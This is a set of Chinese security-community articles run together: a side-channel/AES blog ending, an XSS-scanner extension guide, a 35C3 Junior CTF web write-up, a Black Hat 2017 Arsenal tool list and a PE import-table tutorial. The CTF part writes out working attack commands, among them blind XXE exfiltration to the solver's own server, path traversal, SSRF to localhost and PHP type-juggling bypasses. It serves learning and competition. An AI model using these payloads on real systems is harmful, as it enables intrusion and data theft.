SCA）是指绕过对加密算法的正面对抗及分析，利用硬件实现加密算法的逻辑电路在运算中所泄露的信息，如执行时间、功耗、电磁辐射等，并结合统计理论来实现对密码系统攻击的手段。
**旁路攻击条件**
旁路攻击成功的必要条件：
在泄漏的物理信号与处理的数据之间建立关联
在信息泄漏模型中处理的数据与芯片中处理的数据之间建立关联
智能卡CPU的实现逻辑相对比较简单，并且都是单线程处理机制，因此可以很好的建立起密码-时序或密码-功耗之间的关联。
**时序攻击**
不同的数值及不同的运算所需时间是不同的，在算法(运算逻辑)固定的前提下完全可以根据运行时间反推出具体的操作数。举个简单的例子：
if (strelen(passwd) != sizeof(fixed_passwd))
return 0;
for (i = 0; i < sizeof(fixed_passwd); i++)
if (passwd[i] != fixed_passwd[i])
return 0;
这段代码在密码的判断上就存在时序攻击的漏洞，如果第一个字符不匹配则直接退出，只有在当前字符匹配的情况下才会继续下一个字符的比较。
所以如果实际密码长度为8位且只能用字母及数字，则理论上暴力搜索次数为 (26 2 + 10) ^
8。但因为算法的实现没有考虑到时序攻击，如果将执行时间加入考量，则搜索次数将降低至(26 2 + 10) * 8。
本文示例代码中aes_mul()的实现也有时序攻击的漏洞，并且实现效率也比较低，当然主要目的是为了算法演示。
**功耗攻击**
当信号发生0-1跳变时，需要电源对电容进行充电；而在其它三种情况(0-0, 1-1,
1-0)下则不会进行充电操作，因此可以很容易区分出前者来，这就是功耗攻击原理的简单解释。
功耗攻击一般分为简单功耗攻击(Simple Power Analysis，SPA)，差分功耗攻击(Differential Power Analysis,
DPA)，高阶DPA等。SPA可以揭示出执行操作和能耗泄露间的关系，而DPA则能够揭示出处理数据和能耗泄露间的关系。
DPA利用不同数据对应的条件功耗分布的差异进行统计分析以找出数值与功耗的微弱关联性，并利用此关联性极大的降低密钥的搜索空间，进而完成高效且低成本的攻击。
上海交大的教授[郁昱](http://yuyu.hk/)就通过功耗攻击成功破解了来自多家手机制造商以及服务供应商的SIM卡的密钥。更详细信息可见于他在Blackhat
2015年的[演示稿: Cloning 3G/4G SIM Cards with a PC and an Oscilloscope: Lessons
Learned in Physical Security](http://yuyu.hk/files/us-15-Yu-Cloning-3G-4G-Sim-Cards.pdf)。
以色列特拉维夫大学的研究人员利用旁路攻击，成功从Android和iOS设备上窃取到用于加密比特币钱包、Apple
Pay账号和其他高价值资产的密钥，详细请参阅[论文: ECDSA Key Extraction from Mobile Devices via
Nonintrusive Physical Side
Channels](https://www.cs.tau.ac.il/~tromer/mobilesc/mobilesc.pdf)。
**参考资料**
密码学原理与实践(第二版)，Douglas R. Stinson，冯登国译
[AES Proposal: Rijndael by Joan Daemen and Vincent
Rijmen](http://csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf)
[FIPS 197: Announcing the
AES](http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf)
[Advanced Encryption Standard –
Wikipedia](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
[The Design of Rijndael by Joan Daemen & Vincent
Rijmen](http://www.springer.com/gp/book/9783540425809)
The Block Cipher Companion, L. Knudsen & M. Robshaw, 2011
加密芯片的旁道攻击防御对策研究(博士学位论文), 李海军, 2008
[旁路之能量分析攻击总结](https://g2ex.github.io/2016/05/31/Power-Analysis-Attacks-on-Smart-Card/)
AES算法介绍: 万天添，2015/3/23
[AES_NI – Wikipedia](https://en.wikipedia.org/wiki/AES_instruction_set)
[AES_NI v3.01 – Intel](https://software.intel.com/en-us/articles/intel-advanced-encryption-standard-aes-instructions-set/)
**相关代码**
<https://github.com/matt-wu/AES/>
<最早的手工计算AES-128的想法来源于2016年底读过的一本书《How Software Works: The Magic Behind
Encryption
…》，在阅读过程中发现AES一节中的数据全对不上，然后于17年初开始翻阅AES及Rijndael算法标准等资料，等看完所有文档后才发现此书对AES的介绍真是简化得没边了，后来又做了大量的延伸阅读，春节期间根据FIPS
197及《The Design of Rijndael》实现了AES 128/192/256
ECB/CBC的计算过程，之后开始本blog的书写，中间断断续续直至今日才完工，本文估计用时约40小时。学习从来不是容易的事！但越是不容易的事情做起来才更有乐趣！> | 社区文章 |
# XssSniper 扩展介绍
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://0kee.360.cn/domXss/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**XssSniper 扩展介绍**
一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发现,而XssSniper是依托于Chrome浏览器的扩展,通过动态解析可以快速准确的发现DomXSS漏洞。
此外,本扩展不仅可以发现隐式输出的XSS,还可以发现显示输出的DomXSS,反射式XSS,自动寻找JSONP的XSS,以及检测SOME漏洞(同源方法执行)。
**原理**
XSS检测原理
本扩展采用了两种方法去检测DOMXSS。
**第一种方法:FUZZ**
这种检测方法误报率非常低,只要是检测出来的一定都是都是存在漏洞的。但是代价是漏报率也比较高。
具体来说是在当前页面中创建一个隐形的iframe,在这个iframe中采用不同字符组合截断的payload去fuzz当前页面中的每个url参数,以及location.hash参数。如果payload执行,说明漏洞一定存在。
**第二种方法:监控js错误变化**
如果xss存在方式比较隐蔽,或者需要非常复杂的字符组合来截断的话,payload是无法正常执行的,然而尽管如此,payload可能会引发一些js语法异常,扩展只需要检测这些异常就可以。然后提示用户错误位置,错误内容,错误的行数,让用户手工去
因此以这种方式检测XSS,漏报少,但是代价是误报较高。
两种检测方式相互结合,取长补短。
**使用方法**
打开控制面板
第一次使用的时候请手工更新一下策略,将测试目标填入列表中。tester并非是主动检测这些列表域名中的漏洞。而是在你浏览这些网站时,检测当前页面中的XSS漏洞。
所以,开启fuzz后,只需要正常浏览这些网站即可。
**第一种报警方式:payload直接执行**
如果在浏览过程中发现弹出了对话框,显示一个带有xss payload的url,如下图,说明该url可以触发XSS漏洞。
按下F12打开console控制台,测试过的URL都会在里面显示。将刚刚对话框中显示的url+payload复制出来即可。
**第二种报警方式:payload使js抛出异常**
如果在浏览页面时候右下角弹出如下告警,说明payload使js抛出了不同的异常。
此时打开F12打开控制台,依照图示找到异常内容和触发异常的payload,另外还可以找到抛出异常的文件和行号,方便调试。
**第三种告警:JSONP反射式XSS**
若发现如下告警,说明页面中使用的jsonp存在xss漏洞。url已经在提示中给出。
**第四种告警:SOME漏洞**
当扩展发现当前页面中的参数在jsonp也出现时,就会给出以下告警,需要测试者手工确认页面参数能否影响jsonp的返回参数。
chrome商店地址：[https://chrome.google.com/webstore/detail/domxss-tester/pnhekakhikkhloodcedfcmfpjddcagpi?hl=zh-CN](https://chrome.google.com/webstore/detail/domxss-tester/pnhekakhikkhloodcedfcmfpjddcagpi?hl=zh-CN) | 社区文章 |
在这个月圣诞节和元旦节之间参加了这个比赛，这个比赛有二个 <https://35c3ctf.ccc.ac> 是难度较高的，还有一个是
<https://junior.35c3ctf.ccc.ac/> 中等难度的。中等难度的题目总体来讲还是很符合Junior水平的
:-)。题目整体来讲都不难，只有一二道题花了较多时间，现在将自己的解题思路总结出来。
### Blind
这题打开就是一个显示源码的页面，PHP如下：
<?php
function __autoload($cls) {
include $cls;
}
class Black {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#0d0d0d");
if ($default) ini_set("highlight.default", "#0d0d0d");
if ($keyword) ini_set("highlight.keyword", "#0d0d0d");
if ($store) {
setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
}
}
}
class Green {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#00fb00");
if ($default) ini_set("highlight.default", "#00fb00");
if ($keyword) ini_set("highlight.keyword", "#00fb00");
if ($store) {
setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
}
}
}
if ($_=@$_GET['theme']) {
if (in_array($_, ["Black", "Green"])) {
if (@class_exists($_)) {
($string = @$_GET['string']) || $string = false;
($default = @$_GET['default']) || $default = false;
($keyword = @$_GET['keyword']) || $keyword = false;
new $_($string, $default, $keyword, @$_GET['store']);
}
}
} else if ($_=@$_COOKIE['theme']) {
$args = explode('-', $_);
if (class_exists($args[0])) {
new $args[0]($args[1], $args[2], $args[3], '');
}
} else if ($_=@$_GET['info']) {
phpinfo();
}
仔细阅读完代码可以很快的发现Get请求的theme参数毫无价值，因为Cookie是可以伪造的。这里查阅了class_exists的手册发现如果这个函数的参数类不存在会尝试通过__autoload包含相应的文件，这里在想是不是LFI漏洞。
查看phpinfo信息发现是7.2.13版本，本地测试了一下发现不能读取根目录的flag，即/flag，审计PHP源码发现这个版本的__autoload参数在处理前会经过字符串过滤，只能接受如下字符：
/* Verify class name before passing it to __autoload() */
if (!key && strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\") != ZSTR_LEN(name)) {
zend_string_release(lc_name);
return NULL;
}
接下来想到可以利用内置类实现攻击，使用如下命令打印PHP 7.2.13全部内置类：
var_dump( get_declared_classes());
这一步过滤花费了很多时间，最终锁定在一个SimpleXMLElement类上，这里有国内利用这个类进行 blind
XXE攻击的案例：[https://www.freebuf.com/vuls/154415.html
](https://www.freebuf.com/vuls/154415.html)
在自己的服务器上提供xml和dtd文件，使用如下命令访问题目链接：
curl -v --cookie 'theme=SimpleXMlElement-http://服务器路径/blind.xml-2-true' 'http://35.207.108.241'
利用 blind XXE注入技巧读取/flag文件内容并传送给自己的服务器
### collider
这道题题目描述如下：
> Your task is pretty simple: Upload two PDF files. The first should contain
> the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have
> the same MD5 hash!
难度不大就是利用MD5 碰撞，比赛期间没找到合适的工具就暂时跳过，赛后才知道可以使用这个工具：
<https://github.com/cr-marcstevens/hashclash>
命令如下：
sh cpc.sh giveflag.pdf noflag.pdf
上传这二个文件就可以得到Flag
### Logged In
这道题题目描述有点长，但是核心就是去审计server.py
@app.route("/api/login", methods=["POST"])
def login():
print("Logging in?")
# TODO Send Mail
json = request.get_json(force=True)
login = json["email"].strip()
try:
userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
except Exception as ex:
raise Exception("UserDoesNotExist")
return get_code(name)
def get_code(username):
db = get_db()
c = db.cursor()
userId, = query_db("SELECT id FROM users WHERE name=?", username)
code = random_code()
c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code))
db.commit()
# TODO: Send the code as E-Mail instead :)
return code
@app.route("/api/verify", methods=["POST"])
def verify():
code = request.get_json(force=True)["code"].strip()
if not code:
raise Exception("CouldNotVerifyCode")
userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
db = get_db()
c = db.cursor()
c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
token = random_code(32)
c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
db.commit()
name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
resp = make_response()
resp.set_cookie("token", token, max_age=2 ** 31 - 1)
resp.set_cookie("name", name, max_age=2 ** 31 - 1)
resp.set_cookie("logged_in", LOGGED_IN)
return resp
从上述流程可以看到要想得到flag必须通过POST请求去访问/api/verify，并且需要携带正确的code参数
code在/api/login中可以获得，但是它的SQL查询语句很奇怪：
SELECT id, name, email FROM users WHERE email=? OR name=?
只要提交的email符合一个邮箱或者用户名都可以让查询成功，所以我就大胆爆破用户名
然后发现admin可以，直接得到code，然后POST提交得到flag：`35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS`
### McDonald
题目描述如下：
> Our web admin name's "Mc Donald" and he likes apples and always forgets to
> throw away his apple cores..
>
> <http://35.207.91.38>
使用 dirsearch 进行目录爆破发现：
/backup/.DS_Store
利用这个项目解析.DS_Store内容：<https://github.com/lijiejie/ds_store_exp>
可以发现flag的位置：<http://35.207.91.38/backup/b/a/c/flag.txt> ，访问得到
`35c3_Appl3s_H1dden_F1l3s`
### Flags
题目描述如下：
> Fun with flags: <http://35.207.169.47>
>
> Flag is at /flag
页面显示出源码如下：
<?php
highlight_file(__FILE__);
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
$lang = explode(',', $lang)[0];
$lang = str_replace('../', '', $lang);
$c = file_get_contents("flags/$lang");
if (!$c) $c = file_get_contents("flags/ot");
echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
可以看到是个LFI漏洞，但是使用了替换../为空的方法处理$lang变量，这是非常不安全的过滤手段！
利用方式很简单：
curl -H 'Accept-Language: ..././..././..././..././..././..././flag' http://35.207.169.47/
网页源码显示为
<img src="data:image/jpeg;base64,MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=">
base64解码得到：
`35c3_this_flag_is_the_be5t_fl4g`
### localhost
题目描述写了一大堆，但是题目给了源码，我们查看分析：
@app.after_request
def secure(response: Response):
if not request.path[-3:] in ["jpg", "png", "gif"]:
response.headers["X-Frame-Options"] = "SAMEORIGIN"
response.headers["X-Xss-Protection"] = "1; mode=block"
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';"
response.headers["Referrer-Policy"] = "no-referrer-when-downgrade"
response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \
"camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \
"fullscreen *; payment 'self'; "
if request.remote_addr == "127.0.0.1":
response.headers["X-Localhost-Token"] = LOCALHOST
return response
flag 应该是就是 X-Localhost-Token，但是需要localhost才能访问，于是我们继续审计源码发现
# Proxy images to avoid tainted canvases when thumbnailing.
@app.route("/api/proxyimage", methods=["GET"])
def proxyimage():
url = request.args.get("url", '')
parsed = parse.urlparse(url, "http") # type: parse.ParseResult
if not parsed.netloc:
parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult
url = parsed.geturl()
resp = requests.get(url)
if not resp.headers["Content-Type"].startswith("image/"):
raise Exception("Not a valid image")
# See https://stackoverflow.com/a/36601467/1345238
excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
headers = [(name, value) for (name, value) in resp.raw.headers.items()
if name.lower() not in excluded_headers]
response = Response(resp.content, resp.status_code, headers)
return response
这是一个通过自定义代理，访问图像的功能。如果我们可以设置代理通过服务器本身去访问一个图像，那么我们就可以得到包含Token的响应。这里对图像的判断也很简单，就是判断访问图像的链接响应是否有"Content-Type"并且其开头是"image/"
在自己的服务器上编写一个返回Content-Type为image/2333的HTTP服务器即可，然后利用如下脚本得到flag：
# - * -coding: utf - 8 - * - import requests
url = "http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/api/proxyimage?url=http://自己的服务器/""
r=requests.get(url)
print r.headers["X-Localhost-Token"]
`35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST`
### Note(e) accessible
打开上述链接，查看HTML源码，发现src文件夹有源码可以下载
审计源码发现flag在/admin路径下，但是只能从localhost访问，于是开启Seay审计系统审计源码发现view.php有一个file_get_content：
echo file_get_contents($BACKEND . "get/" . $id);
检查这个id是否可有控，发现其过滤函数只是判断 `"./pws/" . (int) $id .
".pw"`是否存在，我们知道php的int函数特性：在对字符串处理的时候只得到字符串前面的数字部分，不管后面自己字符串的内容。因此我们可以这样利用：
http://35.207.120.163/view.php?id=3761012476392169467/../../admin&pw=45353ac5e4d20a3d440d55ff00844e2f
就可以从localhost访问/admin文件的内容，得到flag。
### saltfish
访问链接：<http://35.207.89.211/>
<?php
require_once('flag.php');
if ($_ = @$_GET['pass']) {
$ua = $_SERVER['HTTP_USER_AGENT'];
if (md5($_) + $_[0] == md5($ua)) {
if ($_[0] == md5($_[0] . $flag)[0]) {
echo $flag;
}
}
} else {
highlight_file(__FILE__);
}
pass 参数和 http_user_agent 可控，有二个条件需要绕过
* 第一个是pass参数的md5加上pass第一个字符等于use_agent的md5：利用php的"+"操作符特性，会将二边的字符串都转换为int，并且转换的大小对于字符串前缀数字部分的值，如果没有就为0，然后当数字和一个字符串（md5($ua)）进行若比较的时候，会将字符串转换为数字（也是前缀部分）
* 第二是 pass的第一个字符等于该字符连上flag的MD5后的第一个字符--既然只有一个字符，我们可以直接暴力破解变量全部的ASCII字符
最终得到POC，得到flag：`35c3_password_saltf1sh_30_seconds_max`
curl -A "b" "http://35.207.89.211/?pass=b" | 社区文章 |
# 【Blackhat】2017美国黑帽大会兵工厂工具列表
|
##### 译文声明
本文是翻译文章，文章来源：medium.com/hack-with-github
原文地址：<https://medium.com/hack-with-github/black-hat-arsenal-usa-2017-3fb5bd9b5cf2 >
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**传送门**
[**【7月23日-31日】Blackhat
&DEFCON，黑客云集赌城拉斯维加斯**](http://bobao.360.cn/activity/detail/478.html)
**
**
**Blackhat &DEFCON 2017**
北京时间7月23日至31日，安全圈最为火爆的顶级信息会议美国黑帽大会BlackHat（23日—28日）和世界黑客大会DEFCON（28日——31日）在美国拉斯维加斯拉开帷幕。
每年这个时候，数以万计的黑客云集拉斯维加斯，可不要以为黑客是赌徒，他们都是奔着安全圈著名的“两会”来的。可以说，他们对赌术毫无兴趣，却对
“安全技术”情有独钟，并且如痴如醉。美国黑帽大会BlackHat是信息安全行业公认的最高盛会，也是黑客大咖炫技的舞台，被称为黑客的“奥斯卡”；DEFCON黑客大会也被称为“黑客秘密大派对”，他的客人“高端大气上档次”，平均每年有超过7000名黑客和全球安全公司和安全机构的专家以及美国国防部、联邦调查局、国家安全局等政府机构的官员参加这一聚会。
**本篇文章为2017美国黑帽大会兵工厂工具列表。**
**Android、iOS移动安全**
**Android Tamer**
<https://github.com/AndroidTamer>
Twitter: @AndroidTamer
主讲人： Anant Shrivastava (@anantshri)
**BadIntent — 将Android与Burp集成**
<https://github.com/mateuszk87/BadIntent>
主讲人： Mateusz Khalil (@mateuszk87)
**DiffDroid**
<https://github.com/antojoseph/diff-droid>
主讲人：Anto Joseph (@antojosep007)
**Kwetza**
<https://github.com/sensepost/kwetza>
主讲人： Chris Le Roy (@brompwnie)
**Needle**
<https://github.com/mwrlabs/needle>
Twitter: @mwrneedle
主讲人：Marco Lancini (@lancinimarco)
**NoPE Proxy (Non-HTTP 代理扩展)**
<https://github.com/summitt/Burp-Non-HTTP-Extension>
主讲人：Josh H.S. (@null0perat0r)
**代码审计**
**Puma Scan**
<https://github.com/pumasecurity/puma-scan>
Twitter: @puma_scan
主讲人：Aaron Cure (@curea)
**Tintorera: 智能源代码审计引擎**
<https://github.com/vulnex/Tintorera>
主讲人：Simon Roses Femerling (@simonroses)
**密码学**
**Hashview**
<https://github.com/hashview/hashview>
主讲人： Casey Cammilleri (@CaseyCammilleri), Hans Lakhan (@jarsnah12)
**Gibber Sense**
<https://github.com/smxlabs/gibbersense>
主讲人： Ajit Hatti (@ajithatti)
**数据取证和事件响应**
**Answering When/Where/Who is my Insider — UserLine**
<https://github.com/THIBER-ORG/userline>
主讲人： Chema Garcia (@sch3m4)
**DefPloreX: 用于大规模eCrime取证的机器学习工具包**
<https://github.com/trendmicro/defplorex>
主讲人： Federico Maggi (@phretor), Marco Balduzzi (@embyte), Lion Gu, Ryan
Flores, Vincenzo Ciancaglini
**HoneyPi**
<https://github.com/mattymcfatty/HoneyPi>
主讲人： Matt South (@mattymcfatty)
**PcapDB: 优化的全网络数据包捕获快速高效检索**
<https://github.com/dirtbags/pcapdb>
主讲人：Paul Ferrell (@pflarr), Shannon Steinfadt
**SCOT (Sandia Cyber Omni Tracker) 威胁情报和事件响应管理系统**
<https://github.com/sandialabs/scot>
主讲人：Nick Georgieff , Todd Bruner (@toddbruner)
**Security Monkey**
<https://github.com/Netflix/security_monkey>
主讲人：Mike Grima (@mikegrima) , Patrick Kelley (@MonkeySecurity)
**ThreatResponse: 在AWS中用于自动化事件响应的开源工具包**
<https://github.com/ThreatResponse>
主讲人： Andrew Krug (@andrewkrug)
**Volatile Memory Analysis at Scale —针对Windows x64系统的高性能取证平台**
<https://github.com/ShaneK2/inVtero.net>
主讲人： Shane Macaulay (@ktwo_K2)
**Yalda — 自动批量智能收集**
<https://github.com/gitaziabari/Yalda>
主讲人： Gita Ziabari (@gitaziabri)
**漏洞利用和道德黑客**
**AVET — 杀软绕过工具**
<https://github.com/govolution/avet>
主讲人：Daniel Sauder (@DanielX4v3r)
**通过Warhorse构建C2环境**
<https://github.com/war-horse/warhorse>
主讲人： Ralph May (@ralphte1)
**Cumulus — 云漏洞利用工具包**
<https://github.com/godinezj/metasploit-framework/tree/cumulus>
主讲人： Javier Godinez (@isomorphix)
**GDB增强功能(GEF)**
<https://github.com/hugsy/gef>
主讲人： Chris Alladoum (@_hugsy_)
**Leviathan Framework**
<https://github.com/leviathan-framework/leviathan>
主讲人：Ozge Barbaros (@ozgebarbaros), Utku Sen (@utku1337)
**MailSniper**
<https://github.com/dafthack/MailSniper>
主讲人：Beau Bullock (@dafthack)
**Rattler**
<https://github.com/sensepost/rattler>
主讲人：Chris Le Roy (@brompwnie)
**Seth**
<https://github.com/SySS-Research/Seth>
主讲人： Adrian Vollmer (@AdrianVollmer)
**硬件、嵌入式**
**ChipWhisperer**
<https://github.com/newaetech/chipwhisperer>
主讲人：Colin O’Flynn (@colinoflynn)
**DYODE：一个针对工业控制系统的DIY、低成本Data Diode**
<https://github.com/arnaudsoullie/dyode>
主讲人：Arnaud Soullié (@arnaudsoullie), Ary Kokos ()
**FTW:WAF测试框架**
<https://github.com/fastly/ftw>
主讲人：Chaim Sanders, Zack Allen (@teachemtechy)
**The Bicho: 高级汽车后门生成器**
<https://github.com/UnaPibaGeek/CBM>
主讲人：Claudio Caracciolo (@holesec), Sheila Ayelen Berta (@UnaPibaGeek)
**社会工程学**
**IsThisLegit**
<https://github.com/duo-labs/isthislegit>
主讲人：Jordan Wright (@jw_sec), Mikhail Davidov (@sirus)
**IoT**
**Hacker Mode**
<https://github.com/xssninja/Alexa-Hacker-Mode>
主讲人：David Cross (@10rdV4d3r)
**Universal Radio Hacker: Investigate Wireless Protocols Like a Boss**
<https://github.com/jopohl/urh>
主讲人：Johannes Pohl (@jopohl)
**恶意软件防御**
**开源机器学习和主动防御工具**
<https://github.com/jzadeh/Aktaion>
主讲人：Joseph Zadeh (@JosephZadeh), Rod Soto (@rodsoto)
**Cuckoodroid**
<https://github.com/idanr1986/cuckoo-droid>
主讲人： Idan Revivo (@idanr86)
**Cuckoo Sandbox**
<https://github.com/cuckoosandbox/cuckoo>
Twitter: @cuckoosandbox
主讲人：Jurriaan Bremer (@skier_t)
**LimaCharlie**
<https://github.com/refractionPOINT/limacharlie>
Twitter: @rp_limacharlie
主讲人：Maxime Lamothe-Brassard (@_maximelb)
**Malboxes**
<https://github.com/GoSecure/malboxes>
主讲人：Olivier Bilodeau (@obilodeau)
**恶意软件攻击**
**Empty-Nest：新型Payload生成器**
<https://github.com/empty-nest/emptynest>
主讲人： James Cook (@_jbcook), Tom Steele (@_tomsteele)
**网络攻击**
**BloodHound 1.3**
<https://github.com/BloodHoundAD/BloodHound>
主讲人： Andy Robbins (@_wald0), Rohan Vazarkar (@CptJesus), Will Schroeder
(@harmj0y)
**CrackMapExec v4**
<https://github.com/byt3bl33d3r/CrackMapExec>
主讲人：Marcello Salvati (@byt3bl33d3r)
**DELTA: SDN安全评估框架**
<https://github.com/OpenNetworkingFoundation/DELTA>
主讲人：Jinwoo Kim, Seungsoo Lee, Seungwon Shin
**eaphammer**
<https://github.com/s0lst1c3/eaphammer>
主讲人： Gabriel Ryan (@s0lst1c3)
**GoFetch**
<https://github.com/GoFetchAD/GoFetch>
主讲人：Tal Maor (@talthemaor)
**gr-lora: LoRa PHY开源SDR实现**
<https://github.com/BastilleResearch/gr-lora>
主讲人： Matt Knight (@embeddedsec)
**Yasuo**
<https://github.com/0xsauby/yasuo>
主讲人： Saurabh Harit (@0xsauby)
**网络防御**
**Assimilator**
<https://github.com/videlanicolas/assimilator>
主讲人：Nicolas Videla (@jsusvidela)
**Noddos**
<https://github.com/noddos/noddos>
主讲人：Steven Hessing
**SITCH: 分布式GSM反向监控**
<https://github.com/sitch-io/sensor>
Twitter: @sitch_io
主讲人：Ash Wilson (@ashmastaflash)
**Sweet Security**
<https://github.com/TravisFSmith/SweetSecurity>
主讲人：Travis Smith (@MrTrav)
**OSINT — 开源情报**
**Datasploit ：自动化OSINT工具**
<https://github.com/DataSploit/datasploit>
Twitter: @datasploit
主讲人：Shubham Mittal (@upgoingstar)
**Dradis: 10年帮助安全团队花费更多的时间测试和更少的时间报告**
<https://github.com/dradis/dradis-ce>
Twitter: @dradisfw
主讲人：Daniel Martin (@etdsoft)
**OSRFramework: 开源研究框架**
<https://github.com/i3visio/osrframework>
主讲人：Félix Brezo Fernández (@febrezo), Yaiza Rubio Viñuela (@yrubiosec)
**逆向工程**
**BinGrep**
<https://github.com/m4b/bingrep>
主讲人：Hiroki Hada
**FLARE VM**
<https://github.com/fireeye/flare-vm>
主讲人： Peter Kacherginsky (@_iphelix)
**漏洞评估**
**Aardvark and Repokid**
<https://github.com/Netflix-Skunkworks/aardvark>
<https://github.com/Netflix/repokid>
主讲人： Patrick Kelley (@MonkeySecurity), Travis McPeak (@travismcpeak)
**BugBot —后台运行在Kubernetes可扩展自动化测试Slackbot**
<https://github.com/anshumanbh/kubebot>
主讲人：Anshuman Bhartiya (@anshuman_bh)
**可以检查IBM i（AS/400）机器Hack/400和IBMiScanner工具**
<https://github.com/hackthelegacy/hack400tool>
主讲人：Bart Kulach (@bartholozz)
**PowerSAP:用于评估SAP安全性的Powershell工具**
<https://github.com/airbus-seclab/powersap>
主讲人： Joffrey Czarny (@Sn0rkY)
**SERPICO**
<https://github.com/SerpicoProject/Serpico>
Twitter: @SerpicoProject
主讲人： Peter Arzamendi (@thebokojan), Will Vandevanter (@0xRST)
**SimpleRisk**
<https://github.com/simplerisk/code>
Twitter: @simpleriskfree
主讲人：Josh Sokol (@joshsokol)
**Web安全**
**BurpSmartBuster:一个聪明的方式去寻找隐藏的宝藏**
<https://github.com/pathetiq/BurpSmartBuster>
主讲人：Patrick Mathieu (@pathetiq)
**CSP Auditor**
<https://github.com/GoSecure/csp-auditor>
主讲人： Philippe Arteau (@h3xstream)
**Easily Exploit Timing Attacks in Web Applications with the ‘timing_attack’
Gem**
<https://github.com/ffleming/timing_attack>
主讲人：Forrest Fleming (@ffleming)
**Fuzzapi — Fuzz RESTAPI的工具**
<https://github.com/lalithr95/fuzzapi>
Twitter: @Fuzzapi0x00
主讲人：Abhijeth Dugginapeddi (@abhijeth), Lalith Rallabhandi (@lalithr95),
Srinivas Rao (@srini0x00)
**Offensive Web 测试框架 (OWASP OWTF)**
<https://github.com/owtf/owtf>
Twitter: @owtfp
主讲人：Viyat Bhalodia (@viyat)
**PyMultiTor**
<https://github.com/realgam3/pymultitor>
主讲人： Tomer Zait (@realgam3)
**ThreadFix Web应用程序攻击面分析工具**
<https://github.com/denimgroup/threadfix>
Twitter: @ThreadFix
主讲人：Dan Cornell (@danielcornell)
**WaToBo：Web应用工具箱**
<https://github.com/siberas/watobo>
主讲人：Andreas Schmidt (@_znow)
**WSSiP: WebSocket操作代理**
<https://github.com/nccgroup/wssip>
主讲人： Samantha Chalker (@itsisatis)
**传送门**
**[【7月23日-31日】Blackhat&DEFCON，黑客云集赌城拉斯维加斯](http://bobao.360.cn/activity/detail/478.html)** | 社区文章 |
# 深入理解win32（七）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在前一节中我们介绍了PE中两个比较重要的表，分别为导出表和重定位表，这一节中我们来进行导入表的解析，在导入表里面又有两个比较重要的结构，分别是IAT表和INT表。
## 导入表
导入表是记录PE文件中用到的动态连接库的集合，一个dll库在导入表中占用一个元素信息的位置，这个元素描述了该导入dll的具体信息。如dll的最新修改时间、dll中函数的名字/序号、dll加载后的函数地址等。这里比如我们用od打开一个exe，找到他的导入表如下所示
通俗的理解就是在程序加载的过程中需要调用到windows提供的一些api，那么这些api并不是能够直接进行调用的，这些api存放在dll里面，所以需要用`LoadLibrary`把dll加载到程序的进程空间里来使用这些api。换个说法，通过`LoadLibrary`将dll加载进程空间的dll，都会在导入表里面出现，如果自己通过代码来实现`LoadLibrary`的功能将要使用的dll加载进进程空间，那么在导入表里面就不会出现要使用的dll，这就是后面隐藏模块的原理。
我们再回到导入表的话题，导入表位于数据目录项的第二个结构，如下图所示
这里首先看一下结构
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
这里跟导出表与重定位表相似，VirtualAddress是指向真正导入表结构的RVA，而Size为导入表的大小，我们通过VirtualAddress的RVA转换FOA之后在FileBuffer中定位后得到如下结构
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组（即INT表）
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字，该名字以0结尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组（即IAT表）
} IMAGE_IMPORT_DESCRIPTOR;
